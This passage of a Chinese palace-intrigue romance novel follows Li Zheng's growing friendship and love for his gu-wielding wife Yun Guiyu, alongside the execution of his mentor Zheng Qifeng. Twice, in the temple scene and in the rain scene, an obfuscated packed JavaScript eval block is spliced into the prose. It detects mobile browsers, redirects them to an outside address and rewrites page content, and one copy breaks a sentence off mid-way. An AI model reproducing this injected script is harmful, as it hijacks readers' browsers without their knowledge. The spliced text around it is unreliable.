历铮不轻不重地睨了他一眼,继续道:“你别管她是谁。总之,我昨日撞见她在干一件我极为不齿……不认同的事情。” “那时我和她不欢而散,到现在一句话都没说过。” 孟煊:“哈哈哈哈哈哈哈!” 历铮:“你笑什么?” 孟煊合了扇子,稀奇道:“稚子才会和朋友赌气不说话吧?这也太不像你历崇渊了。” “还是说,你这个朋友对你来说很不一般?” 历铮不满地皱眉:“何以见得?” 孟煊:“你对朋友没什么要求,不论出身,不论性格,只要合得来,谁都能成为你的朋友。” “以你的性子,如果和朋友吵架,你要么去和他喝一顿酒把话说开,要么打一架然后和好,都不行,你就直接不要这个朋友了,却不会像现在这样左思右想。” “能让你像这样犹豫不决的,除非……”孟煊展开扇子,自得地摇了摇,“除非是像我这样,对你特别重要的兄弟。” 他把扇子一合,轻佻地指了指历铮的鼻梁,“说,你何时有了其他的好哥哥,我竟然都不知道?我可要吃醋了啊。” 历铮:“……” 并非什么好哥哥,而是个有着沉鱼落雁之姿的貌美女子。 他拍开孟煊的扇子,沉默。 云归玉对他来说,算是特别重要的朋友吗? 不,他与她,恐怕连朋友都算不上。 孟煊说的没错,若是以往,所谓道不同不相为谋,像云归玉那样的人,从一开始便不在他会交朋友的行列。 可经过这么多天的相处,他发现他竟已无法接受,自己真的与她成为无话可说的陌生人。 孟煊用扇子隔空点了点历铮的脑袋,以一副知心兄长的口吻道:“其实这事说来也简单,你问问你自己到底还想不想要这个朋友。如果你想,你就去找他,打开天窗说亮话,把你的想法告诉他,如果不想,你就权当没这个人。” 历铮思索一阵,忽地点点头,起身道:“你说的对,我知道该怎么做了,走了。” 孟煊:“哎哎哎?你倒是告诉我你要怎么做啊?” 历铮不理会他的问题,头也不回,大步离开。 他想,既无法接受成为陌路人,那便做朋友。虽则云归玉差一点对他老师下蛊欲刑讯逼供,但毕竟还没来得及下手不是吗? 他并不赞同她的一些做法和想法,可他不知道,究竟是什么样的经历造就了她现在的样子,若是一味横加指责,只会让事态更糟。 而若是能成为她的朋友,或许他就能有资格,帮助她变得更好。 *** “郡主,后厨方才来人传话,午膳已经备好了,”碧溪瞧了瞧天色,问,“今日不去衙署吗?” 云归于正在小院的树下躺椅上,手持话本翻阅,闻言道:“不去,他现在怕是并不想瞧见我,何必自讨没趣。” 碧溪:“可是要像之前那次一样,由奴婢代送?” 云归玉想了想,轻轻摇了摇头道:“这次,你也不必去。” 难不成她们不去衙署送饭,历铮就能把自己饿死吗? 碧溪见她眉头似蹙非蹙,试探着问道:“殿下可是与郡马吵架了?若是有误会,不妨见个面,谈谈心,兴许把话说开就好了。” 云归玉放下书,意味深长地瞥她一眼,道:“碧溪,我与历铮之间的关系,你好像很关心?” 碧溪垂头,恭敬道:“奴婢只是不忍见郡主心烦。” 云归玉没有深究,只重新拿起放在腿上的话本,道:“不必在意,做好你该做的。” 碧溪:“是。” 话虽是如此说,可云归玉看着手中的话本,却是一个字也看不进去,半晌都没有翻动一页。 罢了,毕竟有皇后的吩咐在,她不能真的任由历铮与她的关系这样冷下去。 若是历铮今晚再不回来,明日便还是去衙署看看吧。 云归玉正欲放下话本,却忽而感觉身侧落下一片阴影。 “看什么呢,这般入迷,郡主殿下?”历铮就在她身旁,正弯腰去看她手中的话本。 她惊的手腕一抖,话本掉落,被历铮随手捞住。 昨日生气离去的人,如今就在眼前,眼中一片平和,甚至带了点释然的洒脱。 不大对劲。 “今日你不用上衙吗?”云归玉很快回过神来,一边问,一边抽空睨了碧溪一眼。 有人过来,竟然不提醒她。 碧溪动了动唇,咽下了口中的解释。 郡马爷步履太轻,她注意的时候,已经来不及了。 “一日不去也无妨。”历铮平静地注视着她,“郡主殿下,可愿与历某去个地方?” 云归玉:“去往何地?” “清净之地,就你我二人。郡主可敢应邀?” “有何不敢?” 她本也是要去找他的。 历铮等到她的同意,直接抓住了云归玉的手,将她一把拉起就走。 云归玉被他这一拉弄了个措手不及,一时忘记挣脱,愣愣地跟在他身后,反应过来时,已经坐于马背上,与他并肩骑行,驰于京城大道上。 云归玉:“……” 也是糊涂了,竟然就这么被牵着鼻子走了。 她一言难尽地侧头看了一眼历铮,仿佛他就是话本里那欺骗良家女子的男狐狸精。 云归玉没想到的是,历铮说是带她去“一个地方”,可实际上,她们何止去了一个地方。 历铮几乎带她把京城里里外外逛了个遍。 西山的濯鹭泉,东边的悦翊原,城西的食肆长街,城南的梨园戏苑……整整三日,他们二人连家都没有回过。 最后,历铮带她来到了一处楼宇,楼高九层,高 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云归玉心头微动。 她不动声色地蜷了蜷手指,轻笑一声,近乎漠然道:“朋友?这可不在我和你当初的约定里。” “约定是能变的。” “为什么?” 云归玉很不解,这个人先是撞见年少的她控蛊欲杀谢贵妃,后来被她携圣旨逼迫联姻,再后来山中遇狼又被她恩将仇报,想要给他下蛊;直至几天前,他还又碰见她对他的老师刑讯逼供,这一连串的事下来,不说他对她印象极差,也可以说是绝无好感。 结果现在,他却反倒说要和她交朋友? 谁信? 云归玉几乎是瞬间就开始思索历铮有什么阴谋,或者是有求于她。 可历铮不缺钱不贪权,不噬酒不耽色。 这样的人,能有什么有求于她的? 总不能是她送的那几顿饭,接他下的那几回衙,真的奏效了? 云归玉思索未果,勾起一抹嘲讽的笑:“行侠仗义的历七公子,为何要与我这个蛇蝎心肠的毒女做朋友?” 历铮无奈一笑:“孔子收弟子可以有教无类,我历铮交朋友为何不能不拘一格?” 云归玉挑眉,他还以为历铮会说什么,郡主并非蛇蝎心肠之类的话呢,那样就太过虚假了。 他们实在是太不相像,她想,出身不像,经历不像,性情也不像。 就如同此刻,他们同在此地赏景,他看到世间众生都在努力生活,而她想的却是,高处的风景确实好看,可若是十年前的她,怎么可能站在高处看风景呢?这迎天塔,若非他们一个是忠武王世子,一个是仪和郡主,门口的守卫又怎会放他们进来? 可即便如此,云归玉还是鬼使神差地答应道:“好,朋友就朋友。” 历铮开心道:“既是朋友,那再叫你郡主便生分了,我能叫你阿玉吗?” 云归玉毫不犹豫:“不能。” “那叫什么?归玉?玉玉?云云?” “……清苑,”云归玉被他烦到,不太情愿地吐出那两个字,“是我的表字。” “清苑?真好听。”历铮想,给她取这个字的人,一定很喜爱她。 “清苑,那日你说,若是你不愿意的事,无人能够逼迫你,可事实上,刑讯老师这件事,却也并不是你主动要去做的,对吗?” 终于还是说起了这事。 云归玉神情冷淡下来,回答;“是又如何?” “那为何皇后让你做什么,你就非要做什么呢?” 云归玉道:“与你无关。历铮,我与皇后之间的关系,不是其余人能比的。但既然认了你这个朋友,我可以答应你,不会再去给他下蛊,但我能保证的,也就仅此而已了。有些事情,不是你想阻止就能阻止的。” 云归玉的话音方落,有信鸽飞上塔顶,盘旋几圈,落在了历铮的手臂上。 他解下鸽子腿上的信筒,将信纸倒出,展开。纸条上写着——凤凰门午时,郑岐丰,斩刑。 17. 清流之死 历铮瞳孔一张,下一瞬,便抬手一撑,翻过木栏,跳了下去。 云归玉伸手一抓,只堪堪摸到一片衣角。 她眼睁睁看着历铮以檐角借力,不一会儿便下了楼,然后骑上雪稚飞奔离开。 什么事能让他如此着急? 她想起历铮临走时看她的那一眼,那目光中带着审视和怀疑。 难道是…… 云归玉皱了皱眉,转身下了楼。 墨燚孤零零地停在那里,躁动地跺着蹄子。 她轻盈上马,“这就带你去找你的伙伴,驾!” 凤凰门,法场。 行刑台上,郑岐丰一身脏污囚服,跪于正中,身后的刽子手已经磨刀霍霍。 台下百姓聚集,人群熙攘,脸上神情大多带着震惊和不忍,窃窃私语着。 “郑大人是好官呐,为什么要杀郑大人?” “是啊,当初我家孩子得病,是郑大人去寻的郎中治好的。” “十年前我在万和县赶上瘟疫,郑大人还亲自为我擦过汗喂过药呢!” “五年前我兄弟被枉判,也是当时任大理寺少卿的郑大人还了他清白!” “郑大人犯什么事了?是不是被冤枉的?” 监斩官坐在高台上,厉声道:“前御史大夫郑岐丰,在朝堂之上言行无状,藐视天威,贪墨公财,你可认罪?” 郑岐丰低低地笑了,半晌,平静道:“我不认罪。” 大楚虽有“刑不上大夫”的规定,实际却只有三品及以上的大员能享此殊荣,他只有四品,因而受尽了严刑拷打。 他的囚服之下的身体,早已伤痕累累,没有一块好肉。 可即便如此,他仍旧不曾松口认罪。 但欲加之罪,何患无辞? 皇帝要治他罪的缘由,实则在于“言行无状,藐视天威”,而大理寺能定他的罪,却在于“贪墨公财。”他们从他的府中搜出了两箱黄金,以此来定他的罪。 可他很清楚,自己并无家资,那么那些黄金,又是谁放的呢? 皇帝说你有罪,你便必须有罪。 监斩官冷笑一声,“嘴还是这么硬。可惜如今证据确凿,你不认罪也没用。本官最后问你一句,郑岐丰,你可还有什么遗言吗?” 郑岐丰闭了闭眼睛,回想自己这一生。 十五年寒窗苦读,终于考上了进士。 入朝为官,起初只是个偏远地方的县令,一当就是十年。 后来因着某些事,使他略有了些许名声,不知为何被初登上位的新君注意到,一纸调令,把他从偏远县城调来了京城,彼时他已四十有五。 他还记得皇上那时意气风发,眼神清明灼亮,对他说:“郑卿,朕需要你。你愿意和朕一起,共创一个海晏河清的大楚吗?” 他内心无比感激,在劝谏的时候,却也是毫不留情。 可皇帝竟然非但不降罪于他,还大肆嘉奖,也总会听从他的劝谏。 却不知从何时开始,皇帝不再听他的劝了。 他从未变过,是皇上变了。 曾经那个圣明君主,已经不知迷失在哪个角落了。 他为官四十载,从不曾拿百姓一分一厘,不曾枉判一个案子,不曾有一次畏于君上权威而踟蹰不敢谏言。 而今,他因对皇帝尽忠直言而被抓下狱,生命将要走到尽头。 他并不畏死,只是想到如今朝中的风气,若是自己死了,还有人敢对皇上说真话吗?大楚,还能存在多久?若是朝廷倾覆,天下大乱,百姓们又该何去何从? 罢了,左右死后万事成空,一切与他再无干系。 他这一生,可谓俯仰无愧,上不愧对天子,下不愧对黎民,只唯独…… 记忆中出现一张温婉素净的脸。 当初去万合县治理瘟疫,他妻子与他共苦,不离不弃,最后他们双双染病。他挺过来了,妻子却不幸离世。 妻子的脸幻化为一张稚嫩的小脸,头上扎着总角。 那张脸上时而渴望,“爹爹,我想要吃糖葫芦!” 时而悲伤,“爹爹,你为什么不来找我?”“爹爹,你为什么要抛弃我?” 到最后,化为了怨恨,“郑岐丰!你对得起我死去的娘吗?!” 他唯一的女儿,在妻子死后第二年,无故失踪,从此,杳无音信。 郑岐丰头发花白,布满皱纹的眼角,悄然滑下一滴泪。他这一辈子,为百姓计,为君王忧,却独独愧对了自己的妻女。 他哑声道:“没有遗言。” 却在心里道:“安安,对不起。” 刽子手仰头喝了一口酒,“噗”地一声,尽数喷洒在屠刀上,零星也溅在郑岐丰的脸上。 监斩官掷下“斩”字令签,厉喝一声:“时辰已到,行刑!” 刽子手举起了刀,狠狠往下一劈。 “住手!” 一声厉喝如平地惊雷,却没能来得及阻止刽子手的手起刀落。 历铮赶到时,郑岐丰已遭毒手,那颗头颅离体,在空中划下一道血色弧线,倒映在他眸中。 “咚”地一声,头颅落地,鲜血喷洒。 前排百姓不忍地别过头去,有人已经低低地哭了起来。 历铮呼吸粗重,轻功疯狂运转,顷刻已越过众人,来到了行刑台上。 监斩官吓了一跳,认得他是忠武王世子,心中有些惶恐,怕自己做了什么不可挽回之事。 但见他两手空空,并无圣旨,一颗心又略微放回了肚子里。 “世子,可有什么事?” 历铮张了张口,发现自己无话可说。 是他天真了。 若是想救郑岐丰,唯有使皇上改变主意。 可皇上并没有改变主意。 他原本想着,皇帝一直都对郑岐丰容忍有佳,他俩在史书上,合该是一对君臣相得的佳话,若是没有罪证,又兼大臣们求情,皇帝也许能够网开一面。 可仔细一想,皇帝的毫不留情,却又都有迹可循。 没有哪一个手握权柄之人,能容得下别人的挑衅,何况还是至高权柄的皇帝陛下。 若是他一时愿意容忍,只能是有其目的要达成。 皇帝年轻时,也是个励精图治的皇帝。 他当时重用郑岐丰的目的,便是树一面旌旗,一面彰显着他圣明的旗帜。 同时,郑岐丰还是一把剑,一把横扫一切旧势力的剑。 但现在,皇上不再需要这面旗帜,也不再需要这把剑,便开始嫌郑岐丰是个说话难听的碍眼玩意了。 于是帝王轻飘飘地一怒,便使得一个清官一身污名地离开人世,残忍之至。 行刑已毕,监斩官回朝还旨,众百姓们虽则悲伤,也终究各自散去。 郑岐丰的双眼早已永远闭上,他走得慷慨悲壮,清白无悔,也便无从得知,有人在热闹散尽后独立于行刑台上,用双手捧起了他的尸骨。 历铮恍恍惚惚地替郑岐丰收尸,云归玉走了过去,替他撑了把伞。 烈日炙烤,没过一会儿,地上的血便成了暗红色。 “我其实和郑岐丰并没有很深的感情。”历铮低着头,缓缓开口,“只是觉得,像郑岐丰这样的人,不应该这般枉死。” 他是大楚朝廷的脊梁。是浑浊深潭中的一股清流,只要他这样的人在,历铮就总觉得,这大楚,还不算无药可救。 而现在……这脊梁骨,已被君王亲手拔掉。 “清苑,他的死,与你无关,对吗?” 云归玉轻声道:“你这几日一直带我去各种地方,眼睛一刻也没离开我,不就为了这个吗?怕我再去给郑岐丰下蛊。” 历铮眼睫微垂,“把你当朋友,想把好地方分享给你,也是真的。” 郑岐丰家中清贫,明明是三品大员,仆从不过几人,无妻无妾,唯有一八十老母,在城郊务农。 云归玉陪着他去往城郊,立在远处,看历铮将尸骨交给郑夫人。 老母捧着儿子的尸骨,面色悲愤:“他那般性子,我早知他一定会惹祸上身……” 说到最后,却是抱着儿子的头颅,嚎啕恫哭。 郑夫人哭过后,为儿子立了坟冢,历铮想给她银两,她坚决不受。 回府后,历铮大病一场,卧床不起。 *** 灵光寺。 门前,停着一辆红绸金线,绣凤描龙的华丽车架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云归玉如实回答:“孩儿欲下手之时,历铮突然出现,我未能下手。” 皇后似是有些惊讶,“以你的聪明谨慎,竟被他追踪到了大理寺?” 云归玉本想说,并非她不够谨慎,而是大理寺有人通风报信,那少卿宁昭与历铮有交,可最终,她只道:“是孩儿大意了。” “他阻你,你就依了他?”皇后的眼中仍是带着笑意,却不达眼底。 她这个女儿向来能干又听话,可这次,好像有些无法掌控了。 “并非孩儿依他,只是想到母亲的嘱托,要孩儿拉拢历家,所以不想与他正面冲突。”云归玉道。 “阿玉,你是否对历铮动了心思?”皇后眼神包容地看着她,“若你真喜欢他,倒也无妨,母亲一样为你高兴。只要他和历家能站在合适的立场上,荣华富贵、权势地位,将来自是一样不少。” 云归玉知道,皇后看似大度,实则是在试探。 已经如此不信她了吗? 她皱了皱眉,声音中带着点不易察觉的冷意,“母后多虑,孩儿绝无此心。” 皇后:“去吧,阿玉,既然你想做,那就不要半途而废,母后等着你的好消息。” 云归玉点头称是,辞别皇后。 她有些悲哀地发现,自己与母亲之间,可说的话,似乎越来越少了。 也许,只要能她完成母亲的要求,拉拢到历家的势力,一切就能恢复如初。 *** “咳咳咳咳咳咳……” 云归玉回到历府,刚进院门,便听见屋里传来一阵咳嗽声。 她推门而入,见历铮手中拿着药丸,站在盆栽边,正要把药倒进去,旁边侍从满脸无奈,却又不敢阻止。 只是当她进去之后,历铮的动作就像被人点了穴一样,止住了。 云归玉上前,夺过他手里的药碗,问:“为何不喝药?” 历铮任由她夺过药碗,定定地瞧着她一阵,闻到了她身上沾染的佛殿香灰气味。 片刻,他道:“太苦。” “郡主还是出去吧,免得把病气过了去。” 他又叫她郡主了。 云归玉把药递给一旁的侍从,抬起一只手掐住历铮的脸,另一只手迅疾地塞了个东西进入他的口中。 是灵光寺的和尚塞给她的素糖糕,她并不喜食,正好用来哄人喝药。 “这下甜了,可以喝药了吗?” 历铮瞪大了眼,愣愣地看着她。 18. 同床共枕 云归玉从侍从手里端过药,递到他眼前,见他愣神未接,也不催促,就那么稳稳端着。 历铮回过神来,把药碗结果,一饮而尽。 口中糖糕的甜混着药汤的苦,滋味一言难尽,他皱了皱眉。 嘴边递来了另一块糖糕。 他看着云归玉的神色,依旧是那样冷冷淡淡的,可手中的动作却……那样温柔。 他低头,小心翼翼地叼过糖糕,咽下之后,叫了她的表字,声音沙哑,语调柔和,“清苑,药我已经喝了,你也回屋休息去吧。” 未免把病气过给云归玉,他早搬到了另一间院子来养病。 云归玉却没有依他所言,而是对屋内的侍从们道:“你们下去吧,这里有我守着。” 侍从们遵令告退。 走?不,这个时候,历铮正身心脆弱,是她趁虚而入,攻心的好机会。 历铮说他们是朋友,但,朋友之情,想让他说服忠武王站队,恐怕不太够。 她要趁他病,要他心。 云归玉推着历铮去床上,“去躺着。” 历铮顺着她的力道上床,面朝着云归玉侧躺着,云归玉为他掖了掖被角,坐在了床边。 她并无照顾病人的经验。 从前皇后生病时,自有太医宫女等一大群人围成一圈侍候,她只能去看着药炉,避免有人下毒。 但她曾经有过两次短暂被人照顾的经历。 一次是从苗寨逃出后,曾被一堆夫妻收留照顾,一次,则是与云妃相认之前。 她记得,云妃会轻拍她的背,用温柔的声音为她唱好听的歌谣,哄她入睡。 那曲子,她只听了一次,却永远地记在了心里。 于是云归玉照猫画虎,也轻拍着历铮的背,轻声哼起记忆里的那首歌谣。 历铮神情恍惚,眼中云归玉的身影,仿佛被镀上了一层柔光,恍若神女。 他知道,他不该沦陷,她此刻这般温柔,一点都不像她,必定有所图谋。他应该坚定地推辞,让她离开。 可或许是因为生病,他竟也有了些任性,贪恋这份温暖,想要她一直陪着自己。 眼皮沉重,历铮缓缓地闭上了眼睛。 是夜,历铮睁开了眼睛。 他缓缓转头,见云归玉还在床边。 方才,他做了个梦。 梦中他与云归玉同游京城三日,就如同现实中一样,去的地方也都相同,不同的是……在梦里,他与云归玉,做尽了亲密之事。 感觉到一阵湿润,他微掀被衾,低头一瞧,顿时羞愧地捂住了脸。 他连忙起身,先是抱起云归玉到侧间榻上,再手脚麻利,将床上被褥换掉,将云归玉抱回来,放到床上。 自己坐在床边,轻声叹气。 晨光透进窗扉时,云归玉醒来,才发现自己与历铮竟然调换了位置,躺在床上的,变成了她自己,而历铮却在一旁,支颐小憩。 她轻轻碰了碰他的手臂,唤道:“历铮?” 历铮醒来,见她睁开眼睛,手正搭在他臂上,一个哆嗦站起来。 “清苑,你醒了啊,我去叫侍女来侍候。”说罢快步离开,活像后面有女鬼在撵他。 云归玉:? 她就碰了他一下,至于吓成那样? 用罢早膳后,太医来为历铮诊脉。 诊脉完毕后,他收回手,脸上带着轻微的不赞同,凑到历铮耳边,悄声道:“世子,既然病了,就该有所节制,那等泻元阳之事,等病愈之后,再干不迟。” 云归玉见历铮的脸色白里透着些红,问:“太医,他还没退热吗?” 历铮:“……” 五日后,药圃。 云归玉弯腰摘下一株草药,起身时看见满园药草,忽而有些兴味索然。 她善用蛊,本该种毒花毒草,而不是这些治病救人的药草。 可本该用这些药草的人,已经几日不见人影了。 自那日太医为历铮诊脉离开后,历铮在府中休息了几日,今日一早,便上朝去了。 不知为何,他在府中那几日,像要故意躲着她一样,同住一个屋檐下,却是偏生找不到他。 郑岐丰的死和她又没有半文钱关系。 至于躲着她? 云归玉有些烦躁地想:难道她要放弃拉拢历家吗? 忽而天空下起了雨,碧溪给她打上了雨伞。 “郡主,回屋吧。” 云归玉忽而问道:“什么时辰了?” 碧溪:“申时了。” “备车,去刑部府衙,”云归玉整了整衣衫,“世子他,也该回家了。” *** 窗外雨声淅沥。 历铮看完最后一本卷宗,终于抬起头来。 他起身来到檐下,视线越过院门,看着外边细雨如丝,街上人们行色匆匆。 同僚撑开伞,“侍郎大人,该下衙了。” 一旁有人攀过那位同僚的肩,躲到他伞下,笑道:“侍郎大人应该是在等夫人吧。” 历铮没说话,只向他们略微颔首。 夫人? 她怕是不会来了。 他避她多日,实则是因为自己心烦意乱,羞愧难当。 老师尸骨未寒,他本该默默哀悼,可却对云归玉起了那般的心思。 尽管有意压制,可只要想到云归玉,想到她冷淡的微笑,想到她哼唱歌谣时温柔的腔调,更遥远的,想到她捉弄人得逞后满意的轻笑,他都难以抑制心中那丝欢欣雀跃。 朋友? 呵,原来,他哪是想跟她做朋友? 如今一想,她一直都是不同的。 大婚之夜,她褪下团扇时惊鸿一眼,于是他到嘴的讥讽便说不出口了,只余静默; 山林遇险,他看到狼口离她不过半寸之时,心中竟罕见地感到一种巨大的恐慌,拉弦的手都在抖,好在,并未射偏; 花船那夜,见她寒症发作,如今一想,促使他花费一夜内力的那缕感情,或许并非同情,而是怜惜。 历铮收敛思绪,自嘲一笑,出了门去,没看到那华丽显眼的车架,心下只道“果然”。 有下属见他淋湿了衣衫,赶忙走过来,把伞遮到他的头顶,“侍郎大人,你这就要走吗?不等夫人了? 历铮摇摇头,“她今日不来。” “侍郎大人没带伞?要不,您用我的?” 历铮摆摆手。 哪那么娇气,淋点雨又不会怎样。 他正欲开口拒绝属下的好意,余光却忽然瞥见一抹烟粉色。 云归玉撑着伞,自拐角出现,一步一步走到了他面前,巧笑嫣然,丹唇轻启,道:“夫君。” 历铮微微愣住,眸光闪动。 两人隔着不远的距离对视。 他一直压抑着的感情,在见到她的那一刻,如潮水般奔涌,有股难言的狂喜淹没了他。 他再也不能否认心底深处的那个声音。 “你喜欢她。” 即是明知是陷阱,他也甘之如饴地往下跳。 云归玉站在院门口,娉娉婷婷地站在那儿,如一朵雨中绽放的娇花。 她歪了歪头:“不回家吗?” 历铮回过神来,直接从手下的伞下走了出去,大步向她走去。 云归玉见他跑出来淋雨,不由得加快了脚步,要将伞移到他头上,谁知他刚一至身前,便抱住她的腰转了一圈。 云归玉一惊,手中却稳稳将伞抓牢,罩在两人头顶,旋转中溅起雨滴。 “清苑,今日我们不坐马车,可好。” 云归玉:? 还未回答,便感觉身子一轻,视线陡然抬高。 历铮一把背起云归玉,气息一提,直接跃上了墙头。 云归玉只觉风声呼啸,眼前景色飞速变幻,街上行人成了幻影,颜色各异的伞构成了花花绿绿的背景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970645|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历铮的速度很快,好几次,云归玉都快要抓不住伞,索性也就丢了伞,双手攀上了历铮的脖子。 他一路施展轻功,飞一样回了府。 朝叔在门口接到他们的时候,被两人浑身湿透的狼狈样吓了一跳,“快带世子和夫人去热汤浴!立刻吩咐厨房,熬姜汤!” 府上二位主子这般胡闹,他深深地叹了一口气,却又莫名觉得,这两人似乎都心情不错的样子。 尤其是世子,瞧那眉飞色舞的样子,他已经很久没见过了。 事实证明,雨中疯跑还不打伞的行为,是必定会引起风寒的。 不管是病才好没多久的历铮,还是本来没病没灾的云归玉,即使是泡了热汤浴,还喝了姜汤,两人还是双双病倒了。 朝叔端来姜汤,一个劲地数落:“世子,夫人,你们不能仗着年轻就可劲儿糟践身体啊!尤其是世子,本来就……” 他忽然闭了嘴。 历铮起身拿过两碗药,递给床上的云归玉一碗,待她喝完后,自己也一口闷掉。 他声音嘶哑,却难掩欢喜,道:“知道了,朝叔。” 朝叔叹了一口气,“那世子和夫人好好休息。” 送走朝叔后,二人一个躺榻上,一个躺床上,各裹一席棉被。 云归玉还是头一次感觉这么难受。 身上蛊毒发作时更多是痛,尚且可以忍受,而现在则是鼻子堵塞,连呼吸都难以为继。 罪魁祸首就在眼前,她却难得没什么怪罪的想法。 见历铮缩在榻上,平时高大舒展的身体蜷着,不知怎的,云归玉忽而生出点不忍来,道:“你上床来睡吧。” 她本以为他会拒绝,没想到这人却二话不说,裹着被子就上来了。 历铮性情不羁,但家教使然,骨子里自有一股君子风度,在该恪守礼义的时候,从不轻易逾矩。 所以云归玉随口一问,也没想到他会应了。 但她自己的提议,也不好反悔,便随他去了。 许是喝了药的缘故,不知怎的,便渐渐睡着了。 *** 云归玉醒来时,第一时间察觉到了身旁有别人的气息,她眉眼一厉,眸光瞬间清明,瞬间便屈起二指,要把对方的眼珠子挖出来。 却在看清那人的脸时戛然而止。 那是一双灿若明日的眼睛,在她指风袭来的时候,竟然一下也未眨过。 “我眼睛这么好看?清苑都看呆了。” 云归玉:“……” 她怎么觉得这人有哪里不一样了?从前,他应该不会对她说这样的话。 历铮三两下穿好衣服,翻身下床,“娘子,今日由我来给你束发。” 云归玉狐疑道:“你会么?该不会是要报当初我捉弄你的仇吧?” “你承认是捉弄我了?” 云归玉轻哼一声,算作回答。 她起身披上外衣,坐到了梳妆台前。 历铮立在她身后,手指在她如缎乌发间穿插,眼神扫过台上的首饰,见都是些金蝎银蛇,问:“你的耳饰为什么都是这些样式?” 云归玉一笑:“因为我是个蛇蝎心肠的女人。” “你不是,你若是,当初就不会帮我五姐。”历铮挽好发髻,又拿起朱笔,在她眉心画上花钿,“你只是经历与别人不同,看待世间的眼光有所偏差而已。” 云归玉微微嗤笑,“别说得好像你很了解我似的。历铮,你自己是圣人,便觉得人人都该是好人吗?” “我并非圣人,这世界上也不存在真正的圣人。便如我老师郑岐丰那般舍小家为大家,却连自己女儿都弄丢了,难道便是圣人了吗?” 云归玉不置可否,忽而感觉耳垂一重,她偏了偏头,看着镜中自己,神色微愣。 只见她两边的耳垂上,都坠着蝴蝶流苏耳坠。 历铮轻笑,俯身在她耳边,低声道:“你瞧,这样,不也挺好看?” 19. 桃林醉酒 历铮近来不大对劲。 从前,他白日在府中的时候并不多,不是去皇宫上朝,就是在衙署办公,休沐之日,除了偶尔教她骑射,更多时候也是与兄弟朋友们一起出游,骑马打猎,把酒言欢。 而如今,云归玉发现他在家的时候比往日多了至少五成,好像总能看见他。 历铮从前对衣着并无讲究,可最近云归玉见到他时,总觉得他比以往更加注重打扮了,本就有张好看的脸,如今更是俊美无双。 还有便是,他最近,总是送她一些珠钗首饰和衣裙鞋履,与朋友们游玩回来,也总会为她捎回些美食佳肴。 云归玉坐在梳妆台前,面前摆着各种珠宝匣子。 她手里正拿着一支金步摇,垂眸把玩。 历铮送她的首饰,都是些蝴蝶或者梅兰牡菊等花朵样式,与她往日的风格截然不同。 “郡马的眼光真好呢,郡主,这些都很衬你。”碧溪一边为她梳妆,一边赞叹道。 云归玉嗤笑一声,随手将步摇放进盒子里,“哪里衬了,一点都不适合我。” 她拿出另一个盒子,取出耳饰和头饰戴上。 “这才适合我。” 碧溪瞧了一眼那盒子,知道那是皇后娘娘送的。郡主对于皇后娘娘送的东西总是格外喜爱珍视。 其实皇后一开始也是各种样式都会送的,可后来发现郡主喜戴蛇纹蝎纹佩饰后,便只挑这类送了。 可是,世子送的那些,郡主当着不喜欢吗?分明,她也全部珍而重之的找盒子放起来了啊。 “郡主……” “碧溪。”云归玉打断了她,眼神无波,“你很聪明,但我不希望你在不该聪明的时候聪明。” 碧溪嘴唇一颤:“是,郡主。” 云归玉将盒子全部收起来,沉吟片刻,又道:“碧溪,取纸来。” 虽说历铮送的那些东西她并不会戴,但总归东西她也是收下了,是该回礼。 当初扫过一眼历铮的生辰八字,算算日子,已快到了。 *** 饮凤楼天字一号雅间内,孟煊难掩震惊,“所以说,你真的喜欢上了仪和郡主?恭喜啊,强扭的瓜,竟然也甜起来了。” 历铮:“我还未与她表明心意。” 倒也还没有那么甜。 “迟早的事。人都已经在你府里了,近水楼台,日久生情,早晚心意相通。实在不行,再来找兄弟给你支招。”孟煊哥俩好地一拍历铮的肩膀,笑问:“对了崇渊,今年生辰,你打算怎么办?哥几个一定给你操办好了。” 历铮脸上的表情一淡,沉默一瞬,道:“今年不办了。” 孟煊摇扇的手一顿,神色复杂地看了他一眼。 对别人来说,生辰代表又年长了一岁,可自十二岁以后,历铮的生辰,却是在提醒他,他的寿命又少了一年,离死亡又近了一步。 因此家人朋友们总小心翼翼,不知该不该办。 但历铮却总是坚持要办,而且要大办。 他说,我都活不了几年了,那不就是办一年少一年吗?既然如此,能办一年是一年。 孟煊知道,他表现出一副对死亡满不在乎的模样,其实他就是不想众人为他伤心。 可是今年,他竟说不办生辰了。 为什么? 一个向来坦率面对死亡的人,若是忽然不想过生辰了,只能说明,他开始在乎起他快要死这件事了。 历铮:“我知道那不过是一种逃避,但……含章,我好像确实,有些害怕那一天的到来了。” 他们都知道,那一天是什么意思。 孟煊道:“没有人不怕死,怕死不是什么丢脸的事。” 历铮:“我并不是怕死,我只是……不太甘心。我只是……忽然有了想要的东西,却还没有得到,所以真的很不甘心。” 孟煊轻声问:“是什么?我是你兄弟,你想要的,兄弟一定想尽办法帮你拿到手。” 历铮不语。 孟煊猜测:“是仪和郡主?” 历铮不惊讶他会猜到。 “是,但不止,我还想要,天下太平。” 他之前总以为自己就算生命短暂,却比任何人都活得精彩绚烂。 但现在他才发现,有些珍贵的东西,出现在他生命中太晚了,晚到他已来不及去握紧。 他想要云归玉,也想要实现自己的道。 郑岐丰的死,刺激了他麻木的血液,让他回忆起少时的理想。原来他也曾想过,为天地立心,为生民立命。 这朝中浑浊,总是需要郑岐丰那样的人的。 从前,他是在逃避。 他想明白了,这朝廷中总要有人竖起旗帜,郑岐丰倒了,那就由他来。 大楚病入膏肓,昏君已无可救药,但若是下一位君王,是个明君呢? 天下太平。 孟煊咀嚼着这四个字,表情渐渐凝重起来。 “不管你说的是哪种太平,崇渊,我都要劝你一句,不要蹚浑水。” 历铮:“那你呢,含章。” “我?” “你真的就甘心一直藏锋敛芒,假装纨绔子弟,在这京城里醉生梦死,直到老死吗?” 孟煊拿起酒杯,一饮而尽,微微叹息。 